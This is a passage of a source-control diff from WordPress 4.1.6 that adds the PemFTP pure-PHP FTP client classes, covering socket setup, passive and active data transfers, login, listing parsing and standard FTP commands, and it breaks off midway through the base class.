+	function _readmsg($fnction="_readmsg"){
+		if(!$this->_connected) {
+			$this->PushError($fnction, 'Connect first');
+			return FALSE;
+		}
+		$result=true;
+		$this->_message="";
+		$this->_code=0;
+		$go=true;
+		do {
+			$tmp=@fgets($this->_ftp_control_sock, 512);
+			if($tmp===false) {
+				$go=$result=false;
+				$this->PushError($fnction,'Read failed');
+			} else {
+				$this->_message.=$tmp;
+				if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false;
+			}
+		} while($go);
+		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
+		$this->_code=(int)$regs[1];
+		return $result;
+	}
+
+	function _exec($cmd, $fnction="_exec") {
+		if(!$this->_ready) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
+		$status=@fputs($this->_ftp_control_sock, $cmd.CRLF);
+		if($status===false) {
+			$this->PushError($fnction,'socket write failed');
+			return FALSE;
+		}
+		$this->_lastaction=time();
+		if(!$this->_readmsg($fnction)) return FALSE;
+		return TRUE;
+	}
+
+	function _data_prepare($mode=FTP_ASCII) {
+		if(!$this->_settype($mode)) return FALSE;
+		if($this->_passive) {
+			if(!$this->_exec("PASV", "pasv")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+			$ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message));
+			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
+            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout);
+			if(!$this->_ftp_data_sock) {
+				$this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")");
+				$this->_data_close();
+				return FALSE;
+			}
+			else $this->_ftp_data_sock;
+		} else {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		return TRUE;
+	}
+
+	function _data_read($mode=FTP_ASCII, $fp=NULL) {
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		while (!feof($this->_ftp_data_sock)) {
+			$block=fread($this->_ftp_data_sock, $this->_ftp_buff_size);
+			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
+			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
+			else $out.=$block;
+		}
+		return $out;
+	}
+
+	function _data_write($mode=FTP_ASCII, $fp=NULL) {
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		if(is_resource($fp)) {
+			while(!feof($fp)) {
+				$block=fread($fp, $this->_ftp_buff_size);
+				if(!$this->_data_write_block($mode, $block)) return false;
+			}
+		} elseif(!$this->_data_write_block($mode, $fp)) return false;
+		return TRUE;
+	}
+
+	function _data_write_block($mode, $block) {
+		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
+		do {
+			if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) {
+				$this->PushError("_data_write","Can't write to socket");
+				return FALSE;
+			}
+			$block=substr($block, $t);
+		} while(!empty($block));
+		return true;
+	}
+
+	function _data_close() {
+		@fclose($this->_ftp_data_sock);
+		$this->SendMSG("Disconnected data from remote host");
+		return TRUE;
+	}
+
+	function _quit($force=FALSE) {
+		if($this->_connected or $force) {
+			@fclose($this->_ftp_control_sock);
+			$this->_connected=false;
+			$this->SendMSG("Socket closed");
+		}
+	}
+}
+
+?>
Index: /tags/4.1.6/src/wp-admin/includes/class-ftp-sockets.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-ftp-sockets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-ftp-sockets.php	(revision 33402)
@@ -0,0 +1,250 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * Socket Based FTP implementation
+ *
+ * @package PemFTP
+ * @subpackage Socket
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+class ftp extends ftp_base {
+
+	function ftp($verb=FALSE, $le=FALSE) {
+		$this->__construct($verb, $le);
+	}
+
+	function __construct($verb=FALSE, $le=FALSE) {
+		parent::__construct(true, $verb, $le);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function _settimeout($sock) {
+		if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
+			$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
+			$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		return true;
+	}
+
+	function _connect($host, $port) {
+		$this->SendMSG("Creating socket");
+		if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
+			$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
+			return FALSE;
+		}
+		if(!$this->_settimeout($sock)) return FALSE;
+		$this->SendMSG("Connecting to \"".$host.":".$port."\"");
+		if (!($res = @socket_connect($sock, $host, $port))) {
+			$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		$this->_connected=true;
+		return $sock;
+	}
+
+	function _readmsg($fnction="_readmsg"){
+		if(!$this->_connected) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		$result=true;
+		$this->_message="";
+		$this->_code=0;
+		$go=true;
+		do {
+			$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
+			if($tmp===false) {
+				$go=$result=false;
+				$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
+			} else {
+				$this->_message.=$tmp;
+				$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
+			}
+		} while($go);
+		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
+		$this->_code=(int)$regs[1];
+		return $result;
+	}
+
+	function _exec($cmd, $fnction="_exec") {
+		if(!$this->_ready) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
+		$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
+		if($status===false) {
+			$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
+			return FALSE;
+		}
+		$this->_lastaction=time();
+		if(!$this->_readmsg($fnction)) return FALSE;
+		return TRUE;
+	}
+
+	function _data_prepare($mode=FTP_ASCII) {
+		if(!$this->_settype($mode)) return FALSE;
+		$this->SendMSG("Creating data socket");
+		$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+		if ($this->_ftp_data_sock < 0) {
+			$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
+			return FALSE;
+		}
+		if(!$this->_settimeout($this->_ftp_data_sock)) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if($this->_passive) {
+			if(!$this->_exec("PASV", "pasv")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+			$ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message));
+			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
+            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
+				$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			else $this->_ftp_temp_sock=$this->_ftp_data_sock;
+		} else {
+			if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
+				$this->PushError("_data_prepare","can't get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_bind($this->_ftp_data_sock,$addr)){
+				$this->PushError("_data_prepare","can't bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_listen($this->_ftp_data_sock)) {
+				$this->PushError("_data_prepare","can't listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
+				$this->PushError("_data_prepare","can't get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+		}
+		return TRUE;
+	}
+
+	function _data_read($mode=FTP_ASCII, $fp=NULL) {
+		$NewLine=$this->_eol_code[$this->OS_local];
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
+			if($this->_ftp_temp_sock===FALSE) {
+				$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+		}
+
+		while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
+			if($block==="") break;
+			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
+			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
+			else $out.=$block;
+		}
+		return $out;
+	}
+
+	function _data_write($mode=FTP_ASCII, $fp=NULL) {
+		$NewLine=$this->_eol_code[$this->OS_local];
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
+			if($this->_ftp_temp_sock===FALSE) {
+				$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return false;
+			}
+		}
+		if(is_resource($fp)) {
+			while(!feof($fp)) {
+				$block=fread($fp, $this->_ftp_buff_size);
+				if(!$this->_data_write_block($mode, $block)) return false;
+			}
+		} elseif(!$this->_data_write_block($mode, $fp)) return false;
+		return true;
+	}
+
+	function _data_write_block($mode, $block) {
+		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
+		do {
+			if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
+				$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			$block=substr($block, $t);
+		} while(!empty($block));
+		return true;
+	}
+
+	function _data_close() {
+		@socket_close($this->_ftp_temp_sock);
+		@socket_close($this->_ftp_data_sock);
+		$this->SendMSG("Disconnected data from remote host");
+		return TRUE;
+	}
+
+	function _quit() {
+		if($this->_connected) {
+			@socket_close($this->_ftp_control_sock);
+			$this->_connected=false;
+			$this->SendMSG("Socket closed");
+		}
+	}
+}
+?>
Index: /tags/4.1.6/src/wp-admin/includes/class-ftp.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-ftp.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-ftp.php	(revision 33402)
@@ -0,0 +1,906 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * Defines the newline characters, if not defined already.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var string
+ */
+if(!defined('CRLF')) define('CRLF',"\r\n");
+
+/**
+ * Sets whatever to autodetect ASCII mode.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1);
+
+/**
+ *
+ * This can be redefined.
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_BINARY")) define("FTP_BINARY", 1);
+
+/**
+ *
+ * This can be redefined.
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_ASCII")) define("FTP_ASCII", 0);
+
+/**
+ * Whether to force FTP.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var bool
+ */
+if(!defined('FTP_FORCE')) define('FTP_FORCE', true);
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Unix','u');
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Windows','w');
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Mac','m');
+
+/**
+ * PemFTP base class
+ *
+ */
+class ftp_base {
+	/* Public variables */
+	var $LocalEcho;
+	var $Verbose;
+	var $OS_local;
+	var $OS_remote;
+
+	/* Private variables */
+	var $_lastaction;
+	var $_errors;
+	var $_type;
+	var $_umask;
+	var $_timeout;
+	var $_passive;
+	var $_host;
+	var $_fullhost;
+	var $_port;
+	var $_datahost;
+	var $_dataport;
+	var $_ftp_control_sock;
+	var $_ftp_data_sock;
+	var $_ftp_temp_sock;
+	var $_ftp_buff_size;
+	var $_login;
+	var $_password;
+	var $_connected;
+	var $_ready;
+	var $_code;
+	var $_message;
+	var $_can_restore;
+	var $_port_available;
+	var $_curtype;
+	var $_features;
+
+	var $_error_array;
+	var $AuthorizedTransferMode;
+	var $OS_FullName;
+	var $_eol_code;
+	var $AutoAsciiExt;
+
+	/* Constructor */
+	function ftp_base($port_mode=FALSE) {
+		$this->__construct($port_mode);
+	}
+
+	function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) {
+		$this->LocalEcho=$le;
+		$this->Verbose=$verb;
+		$this->_lastaction=NULL;
+		$this->_error_array=array();
+		$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
+		$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
+		$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
+		$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
+		$this->_port_available=($port_mode==TRUE);
+		$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
+		$this->_connected=FALSE;
+		$this->_ready=FALSE;
+		$this->_can_restore=FALSE;
+		$this->_code=0;
+		$this->_message="";
+		$this->_ftp_buff_size=4096;
+		$this->_curtype=NULL;
+		$this->SetUmask(0022);
+		$this->SetType(FTP_AUTOASCII);
+		$this->SetTimeout(30);
+		$this->Passive(!$this->_port_available);
+		$this->_login="anonymous";
+		$this->_password="anon@ftp.com";
+		$this->_features=array();
+	    $this->OS_local=FTP_OS_Unix;
+		$this->OS_remote=FTP_OS_Unix;
+		$this->features=array();
+		if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
+		elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Public functions                                                                  -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function parselisting($line) {
+		$is_windows = ($this->OS_remote == FTP_OS_Windows);
+		if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/",$line,$lucifer)) {
+			$b = array();
+			if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
+			$b['isdir'] = ($lucifer[7]=="<DIR>");
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			else
+				$b['type'] = 'f';
+			$b['size'] = $lucifer[7];
+			$b['month'] = $lucifer[1];
+			$b['day'] = $lucifer[2];
+			$b['year'] = $lucifer[3];
+			$b['hour'] = $lucifer[4];
+			$b['minute'] = $lucifer[5];
+			$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
+			$b['am/pm'] = $lucifer[6];
+			$b['name'] = $lucifer[8];
+		} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
+			//echo $line."\n";
+			$lcount=count($lucifer);
+			if ($lcount<8) return '';
+			$b = array();
+			$b['isdir'] = $lucifer[0]{0} === "d";
+			$b['islink'] = $lucifer[0]{0} === "l";
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			elseif ( $b['islink'] )
+				$b['type'] = 'l';
+			else
+				$b['type'] = 'f';
+			$b['perms'] = $lucifer[0];
+			$b['number'] = $lucifer[1];
+			$b['owner'] = $lucifer[2];
+			$b['group'] = $lucifer[3];
+			$b['size'] = $lucifer[4];
+			if ($lcount==8) {
+				sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
+				sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
+				$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
+				$b['name'] = $lucifer[7];
+			} else {
+				$b['month'] = $lucifer[5];
+				$b['day'] = $lucifer[6];
+				if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
+					$b['year'] = date("Y");
+					$b['hour'] = $l2[1];
+					$b['minute'] = $l2[2];
+				} else {
+					$b['year'] = $lucifer[7];
+					$b['hour'] = 0;
+					$b['minute'] = 0;
+				}
+				$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
+				$b['name'] = $lucifer[8];
+			}
+		}
+
+		return $b;
+	}
+
+	function SendMSG($message = "", $crlf=true) {
+		if ($this->Verbose) {
+			echo $message.($crlf?CRLF:"");
+			flush();
+		}
+		return TRUE;
+	}
+
+	function SetType($mode=FTP_AUTOASCII) {
+		if(!in_array($mode, $this->AuthorizedTransferMode)) {
+			$this->SendMSG("Wrong type");
+			return FALSE;
+		}
+		$this->_type=$mode;
+		$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
+		return TRUE;
+	}
+
+	function _settype($mode=FTP_ASCII) {
+		if($this->_ready) {
+			if($mode==FTP_BINARY) {
+				if($this->_curtype!=FTP_BINARY) {
+					if(!$this->_exec("TYPE I", "SetType")) return FALSE;
+					$this->_curtype=FTP_BINARY;
+				}
+			} elseif($this->_curtype!=FTP_ASCII) {
+				if(!$this->_exec("TYPE A", "SetType")) return FALSE;
+				$this->_curtype=FTP_ASCII;
+			}
+		} else return FALSE;
+		return TRUE;
+	}
+
+	function Passive($pasv=NULL) {
+		if(is_null($pasv)) $this->_passive=!$this->_passive;
+		else $this->_passive=$pasv;
+		if(!$this->_port_available and !$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			$this->_passive=TRUE;
+			return FALSE;
+		}
+		$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
+		return TRUE;
+	}
+
+	function SetServer($host, $port=21, $reconnect=true) {
+		if(!is_long($port)) {
+	        $this->verbose=true;
+    	    $this->SendMSG("Incorrect port syntax");
+			return FALSE;
+		} else {
+			$ip=@gethostbyname($host);
+	        $dns=@gethostbyaddr($host);
+	        if(!$ip) $ip=$host;
+	        if(!$dns) $dns=$host;
+	        // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false
+	        // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid
+	        $ipaslong = ip2long($ip);
+			if ( ($ipaslong == false) || ($ipaslong === -1) ) {
+				$this->SendMSG("Wrong host name/address \"".$host."\"");
+				return FALSE;
+			}
+	        $this->_host=$ip;
+	        $this->_fullhost=$dns;
+	        $this->_port=$port;
+	        $this->_dataport=$port-1;
+		}
+		$this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\"");
+		if($reconnect){
+			if($this->_connected) {
+				$this->SendMSG("Reconnecting");
+				if(!$this->quit(FTP_FORCE)) return FALSE;
+				if(!$this->connect()) return FALSE;
+			}
+		}
+		return TRUE;
+	}
+
+	function SetUmask($umask=0022) {
+		$this->_umask=$umask;
+		umask($this->_umask);
+		$this->SendMSG("UMASK 0".decoct($this->_umask));
+		return TRUE;
+	}
+
+	function SetTimeout($timeout=30) {
+		$this->_timeout=$timeout;
+		$this->SendMSG("Timeout ".$this->_timeout);
+		if($this->_connected)
+			if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
+		return TRUE;
+	}
+
+	function connect($server=NULL) {
+		if(!empty($server)) {
+			if(!$this->SetServer($server)) return false;
+		}
+		if($this->_ready) return true;
+	    $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]);
+		if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) {
+			$this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\"");
+			return FALSE;
+		}
+		$this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting.");
+		do {
+			if(!$this->_readmsg()) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+			$this->_lastaction=time();
+		} while($this->_code<200);
+		$this->_ready=true;
+		$syst=$this->systype();
+		if(!$syst) $this->SendMSG("Can't detect remote OS");
+		else {
+			if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows;
+			elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac;
+			elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix;
+			else $this->OS_remote=FTP_OS_Mac;
+			$this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]);
+		}
+		if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled");
+		else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
+		return TRUE;
+	}
+
+	function quit($force=false) {
+		if($this->_ready) {
+			if(!$this->_exec("QUIT") and !$force) return FALSE;
+			if(!$this->_checkCode() and !$force) return FALSE;
+			$this->_ready=false;
+			$this->SendMSG("Session finished");
+		}
+		$this->_quit();
+		return TRUE;
+	}
+
+	function login($user=NULL, $pass=NULL) {
+		if(!is_null($user)) $this->_login=$user;
+		else $this->_login="anonymous";
+		if(!is_null($pass)) $this->_password=$pass;
+		else $this->_password="anon@anon.com";
+		if(!$this->_exec("USER ".$this->_login, "login")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		if($this->_code!=230) {
+			if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		}
+		$this->SendMSG("Authentication succeeded");
+		if(empty($this->_features)) {
+			if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled");
+			else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
+		}
+		return TRUE;
+	}
+
+	function pwd() {
+		if(!$this->_exec("PWD", "pwd")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return ereg_replace("^[0-9]{3} \"(.+)\".+", "\\1", $this->_message);
+	}
+
+	function cdup() {
+		if(!$this->_exec("CDUP", "cdup")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return true;
+	}
+
+	function chdir($pathname) {
+		if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function rmdir($pathname) {
+		if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function mkdir($pathname) {
+		if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function rename($from, $to) {
+		if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		if($this->_code==350) {
+			if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		} else return FALSE;
+		return TRUE;
+	}
+
+	function filesize($pathname) {
+		if(!isset($this->_features["SIZE"])) {
+			$this->PushError("filesize", "not supported by server");
+			return FALSE;
+		}
+		if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message);
+	}
+
+	function abort() {
+		if(!$this->_exec("ABOR", "abort")) return FALSE;
+		if(!$this->_checkCode()) {
+			if($this->_code!=426) return FALSE;
+			if(!$this->_readmsg("abort")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		}
+		return true;
+	}
+
+	function mdtm($pathname) {
+		if(!isset($this->_features["MDTM"])) {
+			$this->PushError("mdtm", "not supported by server");
+			return FALSE;
+		}
+		if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$mdtm = ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message);
+		$date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d");
+		$timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]);
+		return $timestamp;
+	}
+
+	function systype() {
+		if(!$this->_exec("SYST", "systype")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$DATA = explode(" ", $this->_message);
+		return array($DATA[1], $DATA[3]);
+	}
+
+	function delete($pathname) {
+		if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function site($command, $fnction="site") {
+		if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function chmod($pathname, $mode) {
+		if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
+		return TRUE;
+	}
+
+	function restore($from) {
+		if(!isset($this->_features["REST"])) {
+			$this->PushError("restore", "not supported by server");
+			return FALSE;
+		}
+		if($this->_curtype!=FTP_BINARY) {
+			$this->PushError("restore", "can't restore in ASCII mode");
+			return FALSE;
+		}
+		if(!$this->_exec("REST ".$from, "resore")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function features() {
+		if(!$this->_exec("FEAT", "features")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY);
+		$this->_features=array();
+		foreach($f as $k=>$v) {
+			$v=explode(" ", trim($v));
+			$this->_features[array_shift($v)]=$v;
+		}
+		return true;
+	}
+
+	function rawlist($pathname="", $arg="") {
+		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
+	}
+
+	function nlist($pathname="", $arg="") {
+		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
+	}
+
+	function is_exists($pathname) {
+		return $this->file_exists($pathname);
+	}
+
+	function file_exists($pathname) {
+		$exists=true;
+		if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
+		else {
+			if(!$this->_checkCode()) $exists=FALSE;
